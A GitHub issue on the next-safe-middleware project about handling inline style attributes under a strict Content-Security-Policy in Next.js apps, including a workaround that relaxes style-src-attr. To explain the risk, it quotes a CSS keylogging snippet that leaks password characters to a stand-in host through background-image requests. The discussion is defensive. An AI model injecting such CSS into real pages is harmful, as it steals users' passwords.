nibtime / next-safe-middleware

Strict CSP (Content-Security-Policy) for Next.js hybrid apps https://web.dev/strict-csp/
https://next-safe-middleware.vercel.app
MIT License
79 stars 20 forks source link

support inline style attributes in strict CSP #22

Closed nibtime closed 2 years ago

nibtime commented 2 years ago

Motivation

with #17 and #20, strict inline styles are supported in principle. It is heavily dependent on the CSS-in-JS framework though, the only one not messing stuff up so far after prerendering is Stitches. emotion and styled-components do in various ways where I see no way yet as you would control/account for that. I conjecture, that in general, the more runtime-heavy the framework is, the less likely it will work.

Remark: Stitches is the tiniest, most minimalist, elegant, fastest, zero-dependency, zero Babel plugins CSS-in-JS package out there and I absolutely love it. I just ported the styles of a website from emotion+twin.macro to stitches+twin.macro and it was fairly easy. Plus some very ugly FOUCs I had with emotion and couldn't get rid of, magically vanished. Better UX + rock-solid CSP to protect against CSS Keylogging. Win Win 😁.

However, there are still inline-style situations this doesn't cover. Sometimes external stuff you can't control adds styles via the HTML style attribute to elements (e.g. the default NextJS 404 page/error components, the optimized responsive image component of DatoCMS, ...)

Possible Solution

Since the inline styles in question are all scattered throughout <body>, the _document drop-ins had to be extended to consider main content that holds the pages prerendered output (go over initialProps.html). Then we could recurse through them and pick up hashes or apply a nonce. However, inline style attributes can't be nonced, and hashed inline styles attributes are only respected style-src 'unsafe-hashes'.

Restriction

Like with styles and scripts handled in <Head>, we can only ever account for what happens during prerendering on the server, anything libs do with styles after hydration is out of control (it is really unfortunate, that the transitive trust propagation of 'strict-dynamic' doesn't apply to style-src - that would've completely solved that problem ).

Possible workaround

You can set style-src-attr 'unsafe-inline'. This will allow unhashed/unnonced inline attribute styles but not inline <style> tags. Maybe that isn't even much of a problem, after all. An actual exploit I know (https://github.com/maxchehab/CSS-Keylogging) wouldn't be possible, since it requires CSS selectors to meaningfully steal sensitive user data like so:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

which is possible within inline <style> tags, but not within inline style attributes. But I don't know the whole picture of what could be possible there.

References